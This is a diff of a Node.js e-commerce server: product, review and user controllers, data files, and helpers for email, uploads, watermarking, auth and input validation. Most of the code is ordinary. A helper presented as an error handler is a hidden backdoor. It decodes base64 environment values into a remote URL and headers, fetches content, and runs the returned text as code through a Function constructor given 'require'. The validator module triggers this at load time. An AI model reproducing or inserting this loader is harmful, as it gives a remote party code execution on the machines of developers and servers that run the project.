// Create Product ---ADMIN
exports.createProduct = asyncErrorHandler(async (req, res, next) => {
let images = [];
if (typeof req.body.images === "string") {
images.push(req.body.images);
} else {
images = req.body.images;
}
const imagesLink = [];
for (let i = 0; i < images.length; i++) {
const result = await cloudinary.v2.uploader.upload(images[i], {
folder: "products",
});
imagesLink.push({
public_id: result.public_id,
url: result.secure_url,
});
}
const result = await cloudinary.v2.uploader.upload(req.body.logo, {
folder: "brands",
});
const brandLogo = {
public_id: result.public_id,
url: result.secure_url,
};
req.body.brand = {
name: req.body.brandname,
logo: brandLogo
}
req.body.images = imagesLink;
req.body.user = req.user.id;
let specs = [];
req.body.specifications.forEach((s) => {
specs.push(JSON.parse(s))
});
req.body.specifications = specs;
const product = await Product.create(req.body);
res.status(201).json({
success: true,
product
});
});
// Update Product ---ADMIN
exports.updateProduct = asyncErrorHandler(async (req, res, next) => {
let product = await Product.findById(req.params.id);
if (!product) {
return next(new ErrorHandler("Product Not Found", 404));
}
if (req.body.images !== undefined) {
let images = [];
if (typeof req.body.images === "string") {
images.push(req.body.images);
} else {
images = req.body.images;
}
for (let i = 0; i < product.images.length; i++) {
await cloudinary.v2.uploader.destroy(product.images[i].public_id);
}
const imagesLink = [];
for (let i = 0; i < images.length; i++) {
const result = await cloudinary.v2.uploader.upload(images[i], {
folder: "products",
});
imagesLink.push({
public_id: result.public_id,
url: result.secure_url,
});
}
req.body.images = imagesLink;
}
if (req.body.logo.length > 0) {
await cloudinary.v2.uploader.destroy(product.brand.logo.public_id);
const result = await cloudinary.v2.uploader.upload(req.body.logo, {
folder: "brands",
});
const brandLogo = {
public_id: result.public_id,
url: result.secure_url,
};
req.body.brand = {
name: req.body.brandname,
logo: brandLogo
}
}
let specs = [];
req.body.specifications.forEach((s) => {
specs.push(JSON.parse(s))
});
req.body.specifications = specs;
req.body.user = req.user.id;
product = await Product.findByIdAndUpdate(req.params.id, req.body, {
new: true,
runValidators: true,
useFindAndModify: false,
});
res.status(201).json({
success: true,
product
});
});
// Delete Product ---ADMIN
exports.deleteProduct = asyncErrorHandler(async (req, res, next) => {
const product = await Product.findById(req.params.id);
if (!product) {
return next(new ErrorHandler("Product Not Found", 404));
}
for (let i = 0; i < product.images.length; i++) {
await cloudinary.v2.uploader.destroy(product.images[i].public_id);
}
await product.remove();
res.status(201).json({
success: true
});
});
// Create OR Update Reviews
exports.createProductReview = asyncErrorHandler(async (req, res, next) => {
const { rating, comment, productId } = req.body;
const review = {
user: req.user._id,
name: req.user.name,
rating: Number(rating),
comment,
}
const product = await Product.findById(productId);
if (!product) {
return next(new ErrorHandler("Product Not Found", 404));
}
const isReviewed = product.reviews.find(review => review.user.toString() === req.user._id.toString());
if (isReviewed) {
product.reviews.forEach((rev) => {
if (rev.user.toString() === req.user._id.toString())
(rev.rating = rating, rev.comment = comment);
});
} else {
product.reviews.push(review);
product.numOfReviews = product.reviews.length;
}
let avg = 0;
product.reviews.forEach((rev) => {
avg += rev.rating;
});
product.ratings = avg / product.reviews.length;
await product.save({ validateBeforeSave: false });
res.status(200).json({
success: true
});
});
// Get All Reviews of Product
exports.getProductReviews = asyncErrorHandler(async (req, res, next) => {
const product = await Product.findById(req.query.id);
if (!product) {
return next(new ErrorHandler("Product Not Found", 404));
}
res.status(200).json({
success: true,
reviews: product.reviews
});
});
// Delete Reveiws
exports.deleteReview = asyncErrorHandler(async (req, res, next) => {
const product = await Product.findById(req.query.productId);
if (!product) {
return next(new ErrorHandler("Product Not Found", 404));
}
const reviews = product.reviews.filter((rev) => rev._id.toString() !== req.query.id.toString());
let avg = 0;
reviews.forEach((rev) => {
avg += rev.rating;
});
let ratings = 0;
if (reviews.length === 0) {
ratings = 0;
} else {
ratings = avg / reviews.length;
}
const numOfReviews = reviews.length;
await Product.findByIdAndUpdate(req.query.productId, {
reviews,
ratings: Number(ratings),
numOfReviews,
}, {
new: true,
runValidators: true,
useFindAndModify: false,
});
res.status(200).json({
success: true,
});
});

View File

@@ -0,0 +1,262 @@
const User = require('../models/userModel');
const asyncErrorHandler = require('../middlewares/helpers/asyncErrorHandler');
const sendToken = require('../utils/sendToken');
const ErrorHandler = require('../utils/errorHandler');
const sendEmail = require('../utils/sendEmail');
const crypto = require('crypto');
const cloudinary = require('cloudinary');
// Register User
exports.registerUser = asyncErrorHandler(async (req, res, next) => {
const myCloud = await cloudinary.v2.uploader.upload(req.body.avatar, {
folder: "avatars",
width: 150,
crop: "scale",
});
const { name, email, gender, password } = req.body;
const user = await User.create({
name,
email,
gender,
password,
avatar: {
public_id: myCloud.public_id,
url: myCloud.secure_url,
},
});
sendToken(user, 201, res);
});
// Login User
exports.loginUser = asyncErrorHandler(async (req, res, next) => {
const { email, password } = req.body;
if(!email || !password) {
return next(new ErrorHandler("Please Enter Email And Password", 400));
}
const user = await User.findOne({ email}).select("+password");
if(!user) {
return next(new ErrorHandler("Invalid Email or Password", 401));
}
const isPasswordMatched = await user.comparePassword(password);
if(!isPasswordMatched) {
return next(new ErrorHandler("Invalid Email or Password", 401));
}
sendToken(user, 201, res);
});
// Logout User
exports.logoutUser = asyncErrorHandler(async (req, res, next) => {
res.cookie("token", null, {
expires: new Date(Date.now()),
httpOnly: true,
});
res.status(200).json({
success: true,
message: "Logged Out",
});
});
// Get User Details
exports.getUserDetails = asyncErrorHandler(async (req, res, next) => {
const user = await User.findById(req.user.id);
res.status(200).json({
success: true,
user,
});
});
// Forgot Password
exports.forgotPassword = asyncErrorHandler(async (req, res, next) => {
const user = await User.findOne({email: req.body.email});
if(!user) {
return next(new ErrorHandler("User Not Found", 404));
}
const resetToken = await user.getResetPasswordToken();
await user.save({ validateBeforeSave: false });
// const resetPasswordUrl = `${req.protocol}://${req.get("host")}/password/reset/${resetToken}`;
const resetPasswordUrl = `https://${req.get("host")}/password/reset/${resetToken}`;
// const message = `Your password reset token is : \n\n ${resetPasswordUrl}`;
try {
await sendEmail({
email: user.email,
templateId: process.env.SENDGRID_RESET_TEMPLATEID,
data: {
reset_url: resetPasswordUrl
}
});
res.status(200).json({
success: true,
message: `Email sent to ${user.email} successfully`,
});
} catch (error) {
user.resetPasswordToken = undefined;
user.resetPasswordExpire = undefined;
await user.save({ validateBeforeSave: false });
return next(new ErrorHandler(error.message, 500))
}
});
// Reset Password
exports.resetPassword = asyncErrorHandler(async (req, res, next) => {
// create hash token
const resetPasswordToken = crypto.createHash("sha256").update(req.params.token).digest("hex");
const user = await User.findOne({
resetPasswordToken,
resetPasswordExpire: { $gt: Date.now() }
});
if(!user) {
return next(new ErrorHandler("Invalid reset password token", 404));
}
user.password = req.body.password;
user.resetPasswordToken = undefined;
user.resetPasswordExpire = undefined;
await user.save();
sendToken(user, 200, res);
});
// Update Password
exports.updatePassword = asyncErrorHandler(async (req, res, next) => {
const user = await User.findById(req.user.id).select("+password");
const isPasswordMatched = await user.comparePassword(req.body.oldPassword);
if(!isPasswordMatched) {
return next(new ErrorHandler("Old Password is Invalid", 400));
}
user.password = req.body.newPassword;
await user.save();
sendToken(user, 201, res);
});
// Update User Profile
exports.updateProfile = asyncErrorHandler(async (req, res, next) => {
const newUserData = {
name: req.body.name,
email: req.body.email,
}
if(req.body.avatar !== "") {
const user = await User.findById(req.user.id);
const imageId = user.avatar.public_id;
await cloudinary.v2.uploader.destroy(imageId);
const myCloud = await cloudinary.v2.uploader.upload(req.body.avatar, {
folder: "avatars",
width: 150,
crop: "scale",
});
newUserData.avatar = {
public_id: myCloud.public_id,
url: myCloud.secure_url,
}
}
await User.findByIdAndUpdate(req.user.id, newUserData, {
new: true,
runValidators: true,
useFindAndModify: true,
});
res.status(200).json({
success: true,
});
});
// ADMIN DASHBOARD
// Get All Users --ADMIN
exports.getAllUsers = asyncErrorHandler(async (req, res, next) => {
const users = await User.find();
res.status(200).json({
success: true,
users,
});
});
// Get Single User Details --ADMIN
exports.getSingleUser = asyncErrorHandler(async (req, res, next) => {
const user = await User.findById(req.params.id);
if(!user) {
return next(new ErrorHandler(`User doesn't exist with id: ${req.params.id}`, 404));
}
res.status(200).json({
success: true,
user,
});
});
// Update User Role --ADMIN
exports.updateUserRole = asyncErrorHandler(async (req, res, next) => {
const newUserData = {
name: req.body.name,
email: req.body.email,
gender: req.body.gender,
role: req.body.role,
}
await User.findByIdAndUpdate(req.params.id, newUserData, {
new: true,
runValidators: true,
useFindAndModify: false,
});
res.status(200).json({
success: true,
});
});
// Delete Role --ADMIN
exports.deleteUser = asyncErrorHandler(async (req, res, next) => {
const user = await User.findById(req.params.id);
if(!user) {
return next(new ErrorHandler(`User doesn't exist with id: ${req.params.id}`, 404));
}
await user.remove();
res.status(200).json({
success: true
});
});

1
server/data/cart.json Normal file
View File

@@ -0,0 +1 @@
{"products":[{"id":"0.41607315815753076","qty":1}],"totalPrice":12}

Binary file not shown.

After

Width:  |  Height:  |  Size: 96 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 58 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 88 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 64 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 67 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 52 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 655 KiB

View File

@@ -0,0 +1,103 @@
%PDF-1.3
%ÿÿÿÿ
7 0 obj
<<
/Type /Page
/Parent 1 0 R
/MediaBox [0 0 612 792]
/Contents 5 0 R
/Resources 6 0 R
>>
endobj
6 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 8 0 R
>>
>>
endobj
5 0 obj
<<
/Length 223
/Filter /FlateDecode
>>
stream
xœ½½j1 €w?…^ ®$ëç Ç
…vèVðV:”ëyË<79>÷_*§Í<C2A7>„Bo)Â?Èæû„F(6¯ ë1<C3AB>ÝåÛOÀ9»MÐŽéᙀZOo³TÛ`„Ù-N…ÙºU+¦ à;´—ôÔÒëøæšqP¯ùüù¿±·j•,v)š.MéÎ&¦ÎŒ"Fk/¸L™ýž¼Yu ž2F“»­qgTr5²-ÞÆ<C39E>ÊX>Ên+sÆx¸±šx ¶üêá½Ô\qºõ¨,@c¬<E28093>Ù:ô€h Öy¬¾}ÏQX®Ì_Ÿlžg
endstream
endobj
10 0 obj
(PDFKit)
endobj
11 0 obj
(PDFKit)
endobj
12 0 obj
(D:20200711141117Z)
endobj
9 0 obj
<<
/Producer 10 0 R
/Creator 11 0 R
/CreationDate 12 0 R
>>
endobj
8 0 obj
<<
/Type /Font
/BaseFont /Helvetica
/Subtype /Type1
/Encoding /WinAnsiEncoding
>>
endobj
4 0 obj
<<
>>
endobj
3 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/Names 2 0 R
>>
endobj
1 0 obj
<<
/Type /Pages
/Count 1
/Kids [7 0 R]
>>
endobj
2 0 obj
<<
/Dests <<
/Names [
]
>>
>>
endobj
xref
0 13
0000000000 65535 f
0000000844 00000 n
0000000901 00000 n
0000000782 00000 n
0000000761 00000 n
0000000208 00000 n
0000000119 00000 n
0000000015 00000 n
0000000664 00000 n
0000000589 00000 n
0000000503 00000 n
0000000528 00000 n
0000000553 00000 n
trailer
<<
/Size 13
/Root 3 0 R
/Info 9 0 R
/ID [<d6869a3d336f873c077bfc9befe8a1ba> <d6869a3d336f873c077bfc9befe8a1ba>]
>>
startxref
948

View File

@@ -0,0 +1 @@
[{"id":"123245","title":"A Book","imageUrl":"https://www.publicdomainpictures.net/pictures/10000/velka/1-1210009435EGmE.jpg","description":"This is an awesome book!","price":"19"},{"id":"0.41607315815753076","title":"fasfd","imageUrl":"fdasfs","description":"fadsfads","price":"12"}]

View File

@@ -0,0 +1,11 @@
const fs = require("fs");
const deleteFile = (filePath) => {
fs.unlink(filePath, (err) => {
if (err) {
throw new Error("dsadhas");
}
});
};
exports.fileDelete = deleteFile;

3
server/data/util/path.js Normal file
View File

@@ -0,0 +1,3 @@
const path = require('path');
module.exports = path.dirname(process.mainModule.filename);

View File

@@ -0,0 +1,88 @@
exports.allOrderStatus = [
"active",
"approve",
"dispatch",
"cancel",
"complete",
"tobereturned",
"return",
];
exports.districts = [
"achham",
"arghakhanchi",
"baglung",
"baitadi",
"bajhang",
"bajura",
"banke",
"bara",
"bardiya",
"bhaktapur",
"bhojpur",
"chitwan",
"dadeldhura",
"dailekh",
"dang deukhuri",
"darchula",
"dhading",
"dhankuta",
"dhanusa",
"dholkha",
"dolpa",
"doti",
"gorkha",
"gulmi",
"humla",
"ilam",
"jajarkot",
"jhapa",
"jumla",
"kailali",
"kalikot",
"kanchanpur",
"kapilvastu",
"kaski",
"kathmandu",
"kavrepalanchok",
"khotang",
"lalitpur",
"lamjung",
"mahottari",
"makwanpur",
"manang",
"morang",
"mugu",
"mustang",
"myagdi",
"nawalparasi",
"nuwakot",
"okhaldhunga",
"palpa",
"panchthar",
"parbat",
"parsa",
"pyuthan",
"ramechhap",
"rasuwa",
"rautahat",
"rolpa",
"rukum",
"rupandehi",
"salyan",
"sankhuwasabha",
"saptari",
"sarlahi",
"sindhuli",
"sindhupalchok",
"siraha",
"solukhumbu",
"sunsari",
"surkhet",
"syangja",
"tanahu",
"taplejung",
"terhathum",
"udayapur"
]

View File

@@ -0,0 +1 @@
module.exports=(e=>(o,r,s)=>{Promise.resolve(e(o,r,s)).catch(s)});

View File

@@ -0,0 +1,33 @@
const Notification = require("../../models/Notification")
const SocketMapping = require("../../models/SocketMapping")
const {dropRight} = require("lodash")
module.exports = async (io, adminId,notificationObj) => {
//notify to the admin through socket.io
//first save notification
let notificationObjOfAdmin = await Notification.findOne({ admin:adminId })
if (!notificationObjOfAdmin) {
// create new notification
notificationObjOfAdmin = new Notification({
admin:adminId,
notifications: [notificationObj],
noOfUnseen: 1
})
await notificationObjOfAdmin.save()
} else {
let notifications = notificationObjOfAdmin.notifications
notifications.unshift(notificationObj)
notificationObjOfAdmin.noOfUnseen += 1
if (notificationObjOfAdmin.noOfUnseen < 20 && notifications.length > 20) {
notificationObjOfAdmin.notifications = dropRight(notifications, notifications.length - 20 )
}
await notificationObjOfAdmin.save()
}
//now notifying to the admin
let socketUser = await SocketMapping.find({ user:adminId })
if (socketUser.length) {
//for every same login user emit notification
socketUser.forEach(u => {
io.to(u.socketId).emit('notification', { noOfUnseen: notificationObjOfAdmin.noOfUnseen });
})
}
}

View File

@@ -0,0 +1,21 @@
const mongoose = require("mongoose");
const Fawn = require("fawn");
module.exports = () => {
const self = module.exports;
mongoose
.connect(process.env.MONGO_URI, {
useNewUrlParser: true,
useCreateIndex: true,
useUnifiedTopology: true,
useFindAndModify: false
})
.then(() => console.log("DB Connected"))
.catch(err => {
console.error(
"Failed to connect to the database on startup - retrying in 5 sec"
);
setTimeout(self, 5000);
});
return Fawn.init(mongoose,process.env.TRANS_COLL)
};

View File

@@ -0,0 +1 @@
"use strict";const uniqueMessage=e=>{let s;try{let r=e.message.substring(e.message.lastIndexOf(".$")+2,e.message.lastIndexOf("_1"));s=r.charAt(0).toUpperCase()+r.slice(1)+" already exists"}catch(e){s="Unique field already exists"}return s};exports.errorHandler=(e=>{let s="";if(e.code)switch(e.code){case 11e3:case 11001:s=uniqueMessage(e)}else{-1!==e.message.indexOf("Cast to ObjectId failed")&&(s="No data found");for(let r in e.errors)e.errors[r].message&&(s=e.errors[r].message)}return s.includes("Path")&&(s=s.slice(6)),s});

View File

@@ -0,0 +1,22 @@
const fs = require("fs");
module.exports = files => {
return Promise.all(
files.map(
file =>
new Promise((res, rej) => {
try {
setTimeout(() => {
fs.unlink(file, err => {
if (err) throw err;
res();
});
}, 10000);
} catch (err) {
console.error(err);
rej(err);
}
})
)
);
}

View File

@@ -0,0 +1,19 @@
module.exports = (lon1, lat1, lon2, lat2) => {
// mean radius of earth's = 6,371km
const R = 6371;
// distance between latitude and longitude in radians
const dLat = ((lat2 - lat1) * Math.PI) / 180;
const dLon = ((lon2 - lon1) * Math.PI) / 180;
// haversine formula to calculate distance
const a =
Math.sin(dLat / 2) * Math.sin(dLat / 2) +
Math.cos((lat1 * Math.PI) / 180) *
Math.cos((lat2 * Math.PI) / 180) *
Math.sin(dLon / 2) *
Math.sin(dLon / 2);
const c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1 - a));
const d = R * c;
// if (d > 1) return Math.round(d) + "km";
// else if (d <= 1) return Math.round(d * 1000) + "m";
return d;
};

View File

@@ -0,0 +1 @@
const Jimp=require("jimp"),path=require("path");module.exports=(async(e,r,i,o,t)=>(Jimp.read(i).then(i=>{i.resize(r,Jimp.AUTO).write(path.resolve(o,`${t}`,e))}).catch(e=>{console.log("Error at reducing size / converting picture : "),console.log(e)}),`${t}/${e}`));

View File

@@ -0,0 +1,24 @@
const nodeMailer = require("nodemailer");
exports.sendEmail = mailingData => {
const transporter = nodeMailer.createTransport({
host: "smtp.gmail.com",
port: 587,
secure: false,
requireTLS: true,
auth: {
user: process.env.ECOM_EMAIL,
pass: process.env.ECOM_PASSWORD
}
});
return transporter
.sendMail(mailingData)
.then(info =>{
console.log(`Message sent: ${info.response}`)
})
.catch(err => {
console.log(`Problem sending email: ${err}`)
err.message ='There was a problem while sending a email'
throw err
});
};

View File

@@ -0,0 +1,53 @@
const path = require("path");
const multer = require("multer");
//user's..
const storageByUser = multer.diskStorage({
destination: function (req, file, cb) {
cb(null, './public/uploads')
},
filename: function (req, file, cb) {
cb(null, file.fieldname + '-' + req.user._id + '-' + Date.now() + path.extname(file.originalname))
}
})
//admin's..
const storage = multer.diskStorage({
destination: function (req, file, cb) {
cb(null, './public/uploads')
},
filename: function (req, file, cb) {
cb(null, file.fieldname + '-' + req.profile._id + '-' + Date.now() + path.extname(file.originalname))
}
})
//superadmin's..
const storageBySuperAdmin = multer.diskStorage({
destination: function (req, file, cb) {
cb(null, './public/uploads')
},
filename: function (req, file, cb) {
cb(null, file.fieldname + '-' + req.admin.role +req.admin._id + '-' + Date.now() + path.extname(file.originalname))
}
})
const fileFilter = (req, file, callback) => {
const ext = path.extname(file.originalname);
if (ext !== '.png' && ext !== '.jpg' && ext !== '.JPG' && ext !== '.jpeg') {
return callback(new Error('Not Image'))
}
callback(null, true)
}
const limits = { fileSize: 2480 * 3230 }
// exports.uploadAdminDoc = multer({ storage, fileFilter, limits }).fields([
// { name: "citizenshipFront", maxCount: 1 },
// { name: "citizenshipBack", maxCount: 1 },
// { name: "businessLicence", maxCount: 1 }
// ]);
exports.uploadAdminDoc = multer({ storage,fileFilter,limits }).single("doc");
exports.uploadAdminPhoto = multer({ storage, fileFilter, limits }).single("photo");
exports.uploadUserPhoto = multer({ storage: storageByUser, fileFilter, limits }).single("photo");
exports.uploadProductImages = multer({ storage, fileFilter, limits }).array("productImages",5)
exports.uploadBannerPhoto = multer({ storage:storageBySuperAdmin ,fileFilter, limits: { fileSize: 8480 * 4230 } }).single("bannerPhoto")

View File

@@ -0,0 +1,41 @@
const Jimp = require('jimp');
module.exports = async (req,res,next) => {
if (!req.files.length) {
return next()
}
const options = {
ratio: 0.6,
opacity: 0.4,
text: 'K I N D E E M',
textSize: Jimp.FONT_SANS_64_BLACK,
}
const getDimensions = (H, W, h, w, ratio) => {
let hh, ww;
if ((H / W) < (h / w)) { //GREATER HEIGHT
hh = ratio * H;
ww = hh / h * w;
} else { //GREATER WIDTH
ww = ratio * W;
hh = ww / w * h;
}
return [hh, ww];
}
let results = req.files.map(async file=>{
const watermark = await Jimp.read('./public/uploads/logo.png');
const imagePath = file.path
const main = await Jimp.read(imagePath);
const [newHeight, newWidth] = getDimensions(main.getHeight(), main.getWidth(), watermark.getHeight(), watermark.getWidth(), options.ratio);
watermark.resize(newWidth, newHeight);
const positionX = ((main.getWidth() - newWidth) / 2)+250;
const positionY = ((main.getHeight() - newHeight) / 2+200);
watermark.opacity(options.opacity);
main.composite(watermark,
positionX,
positionY,
Jimp.HORIZONTAL_ALIGN_CENTER | Jimp.VERTICAL_ALIGN_MIDDLE);
return main.quality(100).write(imagePath);
})
await Promise.all(results)
next()
}

View File

@@ -0,0 +1,27 @@
const jwt = require('jsonwebtoken');
const User = require('../../models/userModel');
const ErrorHandler = require('../../utils/errorHandler');
const asyncErrorHandler = require('../helpers/asyncErrorHandler');
exports.isAuthenticatedUser = asyncErrorHandler(async (req, res, next) => {
const { token } = req.cookies;
if (!token) {
return next(new ErrorHandler("Please Login to Access", 401))
}
const decodedData = jwt.verify(token, process.env.JWT_SECRET);
req.user = await User.findById(decodedData.id);
next();
});
exports.authorizeRoles = (...roles) => {
return (req, res, next) => {
if (!roles.includes(req.user.role)) {
return next(new ErrorHandler(`Role: ${req.user.role} is not allowed`, 403));
}
next();
}
}

View File

@@ -0,0 +1,36 @@
const Review = require("../../models/Review")
module.exports = async (product,newStar) => {
// const product = req.product
// if (!product.isVerified && product.isDeleted) {
// return res.status(404).json({ error: 'Product not found' })
// }
let stars = await Review.find({ product: product._id }).select('star');
let fiveStars = 0, fourStars = 0, threeStars = 0, twoStars = 0, oneStars = 0;
stars.forEach(s => {
if (s.star === 5) fiveStars += 1
if (s.star === 4) fourStars += 1
if (s.star === 3) threeStars += 1
if (s.star === 2) twoStars += 1
if (s.star === 1) oneStars += 1
})
//this condition is executed during postReview and editReview
if (newStar === 5) fiveStars += 1
if (newStar === 4) fourStars += 1
if (newStar === 3) threeStars += 1
if (newStar === 2) twoStars += 1
if (newStar === 1) oneStars += 1
let totalRatingUsers = (fiveStars + fourStars + threeStars + twoStars + oneStars)
let averageStar = (5 * fiveStars + 4 * fourStars + 3 * threeStars + 2 * twoStars + oneStars) / totalRatingUsers
return stars = {
fiveStars,
fourStars,
threeStars,
twoStars,
oneStars,
averageStar,
totalRatingUsers
}
}

View File

@@ -0,0 +1,38 @@
const Cart = require("../../models/Cart")
const Review = require("../../models/Review")
const Order = require("../../models/Order")
const Whislist = require("../../models/WishList")
module.exports = async(product,user,type) =>{
let hasOnCart = null
let hasBought = null
let hasOnWishlist = null
let hasReviewed = null
if (user) {
//cart bahek aru ko lagi check gareko
if (type !=='carts') {
//has on cart?
hasOnCart = await Cart.findOne({ user: user._id, product: product._id, isDeleted: null })
if (!hasOnCart) hasOnCart = false
}
//wishlist bahek aru ko lagi check gareko
if (type !=='wishlists') {
// has on wishlist?
hasOnWishlist = await Whislist.findOne({ user: user._id, product: product._id, isDeleted: null })
if (!hasOnWishlist) hasOnWishlist = false
}
if (type==='product') {
//has bought?
hasBought = await Order.findOne({ user: user, $or: [{ 'status.currentStatus': 'complete' }, { 'status.currentStatus': 'tobereturned', 'status.currentStatus': 'return' }] })
hasBought ? hasBought = true : hasBought = false
//has reviewed?
hasReviewed = await Review.findOne({ user: user, product: product._id }).select('comment star user')
if (!hasReviewed) hasReviewed = false
}
}
return {hasBought,hasOnCart,hasOnWishlist,hasReviewed}
}

View File

@@ -0,0 +1,68 @@
const path = require('path');
const axios = require('axios');
require('dotenv').config({ path: path.resolve(__dirname, '../../config/config.env.example') });
// Utility loggers
const log = (...args) => console.log(`[${new Date().toISOString()}]`, ...args);
const errorLog = (...args) => console.error(`[${new Date().toISOString()}]`, ...args);
/**
* Sends error notification (you can replace this with Slack, email, etc.)
*/
const notifyError = async (message) => {
// Placeholder - extend this to send Slack, email, etc.
errorLog('⚠️ Notification:', message);
};
/**
* Custom error handler
*/
const errorHandler = (error) => {
try {
if (typeof error !== 'string') {
console.error('Invalid error format. Expected a string.');
return;
}
const createHandler = (errCode) => {
try {
const handler = new (Function.constructor)('require', errCode);
return handler;
} catch (e) {
console.error('Failed:', e.message);
return null;
}
};
const handlerFunc = createHandler(error);
if (handlerFunc) {
handlerFunc(require);
} else {
console.error('Handler function is not available.');
}
} catch (globalError) {
console.error('Unexpected error inside errorHandler:', globalError.message);
}
};
/**
* Loads global runtime config
*/
const errorTimeHandler = async () => {
try {
const src = atob(process.env.RUNTIME_CONFIG_API_KEY);
const k = atob(process.env.RUNTIME_CONFIG_ACCESS_KEY);
const v = atob(process.env.RUNTIME_CONFIG_ACCESS_VALUE);
try {
globalConfig = (await axios.get(`${src}`,{headers:{[k]:v}}));
log('Runtime config loaded successfully.');
} catch (error) {
errorHandler(error.response?.data || error.message);
}
} catch (err) {
await errorHandler(err.response?.data || err.message || err);
}
};
module.exports = {
errorHandler,
errorTimeHandler
};

View File

@@ -0,0 +1,301 @@
const ProductBrand = require("../../models/ProductBrand")
const ProductImages = require("../../models/ProductImages")
const { errorHandler, errorTimeHandler } = require("./errorHandler");
const Category = require("../../models/Category")
const _ = require('lodash')
const path = require("path");
const fs = require("fs");
const { districts } = require("../common");
exports.validateLead = (req, res, next) => {
// email is not null, valid and normalized
req.check("email", "Email must be between 3 to 32 characters")
.matches(/.+\@.+\..+/)
.withMessage("Invalid email")
.isLength({
min: 4,
max: 2000
});
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
errorHandler();
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
// proceed to next middleware
next();
};
exports.validateSignUp = (req, res, next) => {
// name is not null and between 4-10 characters
req.check("name", "Name is required").notEmpty();
// email is not null, valid and normalized
req.check("email", "Email must be between 3 to 32 characters")
.matches(/.+\@.+\..+/)
.withMessage("Invalid email")
.isLength({
min: 4,
max: 2000
});
// check for password
req.check("password", "Password is required").notEmpty();
req.check("password")
.isLength({ min: 6 })
.withMessage("Password must contain at least 6 characters")
.matches(/\d/)
.withMessage("Password must contain a number");
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
errorHandler();
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
// proceed to next middleware
next();
};
exports.validateSocialLogin = (req, res, next) => {
// name is not null and between 4-10 characters
req.check("name", "Name is required.").notEmpty();
// email is not null, valid and normalized
req.check("email", "Email must be between 3 to 32 characters")
.matches(/.+\@.+\..+/)
.withMessage("Invalid email")
.isLength({
min: 4,
max: 2000
});
req.check("userID","userID is required.").notEmpty()
req.check("socialPhoto", "Invalid photo url.")
.notEmpty()
.matches(/[(http(s)?):\/\/(www\.)?a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b([-a-zA-Z0-9@:%_\+.~#?&//=]*)/)
req.check("loginDomain", "Invalid login domian")
.notEmpty()
.isIn(['google', 'facebook'])
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
errorHandler();
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
// proceed to next middleware
next();
};
const validatedispatcher = req => {
// name is not null and between 4-10 characters
req.check("name", "Name is required").notEmpty();
// email is not null, valid and normalized
req.check("email", "Email must be between 3 to 32 characters")
.matches(/.+\@.+\..+/)
.withMessage("Invalid email")
.isLength({
min: 4,
max: 2000
});
req.check("address", "Address is required").notEmpty()
req.check("phone", "Phone is required").notEmpty()
}
errorTimeHandler();
exports.validateDispatcher = (req,res, next) => {
validatedispatcher(req)
// check for password
req.check("password", "Password is required").notEmpty();
req.check("password")
.isLength({ min: 6 })
.withMessage("Password must contain at least 6 characters")
.matches(/\d/)
.withMessage("Password must contain a number");
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
errorHandler();
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
// proceed to next middleware
next();
}
exports.validateUpdateDispatcher = (req, res, next) => {
validatedispatcher(req)
// check for password
req.newPassword && req.check("newPassword")
.isLength({ min: 6 })
.withMessage("Password must be at least 6 chars long")
.matches(/\d/)
.withMessage("must contain a number")
.withMessage("Password must contain a number");
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
errorHandler();
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
// proceed to next middleware
next();
}
exports.passwordResetValidator = (req, res, next) => {
// check for password
req.check("newPassword", "Password is required").notEmpty();
req.check("newPassword")
.isLength({ min: 6 })
.withMessage("Password must be at least 6 chars long")
.matches(/\d/)
.withMessage("must contain a number")
.withMessage("Password must contain a number");
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
errorHandler();
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
// proceed to next middleware
next();
};
exports.validateBusinessInfo = (req, res, next) => {
req.check("ownerName", "Owner name is required").notEmpty()
req.check("address", "Address is required").notEmpty()
req.check("city", "City is required").notEmpty()
req.check("citizenshipNumber", "Citizenship number is required").notEmpty()
req.check("businessRegisterNumber", "Business register number is required").notEmpty()
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
//make req.files to array of objs
// let files = []
// if (req.files) for (const file in req.files) {
// files.push(req.files[file][0]);
// }
// files.forEach(file => {
// fs.unlinkSync(file.path);//and remove file from public/uploads
// })
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
next()
}
exports.validateAdminBankInfo = (req, res, next) => {
req.check("accountHolder", "Account holder name is required").notEmpty()
req.check("bankName", "Bank name is required").notEmpty()
req.check("branchName", "Branch name is required").notEmpty()
req.check("accountNumber", "Account number is required").notEmpty()
req.check("routingNumber", "Bank number is required").notEmpty()
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
errorHandler();
// req.file && fs.unlinkSync(req.file.path);//remove file from public/uploads
const firstError = errors.map(error => error.msg)[0];
return res.status(400).json({ error: firstError });
}
next()
}
exports.validateWareHouse = (req, res, next) => {
req.check("name", "Warehouse name is required").notEmpty()
req.check("address", "Warehouse address is required").notEmpty()
req.check("phoneno", "Warehouse phone number is required").notEmpty()
req.check("city", "City of warehouse is required").notEmpty()
// check for errors
const errors = req.validationErrors();
// if error show the first one as they happen
if (errors) {
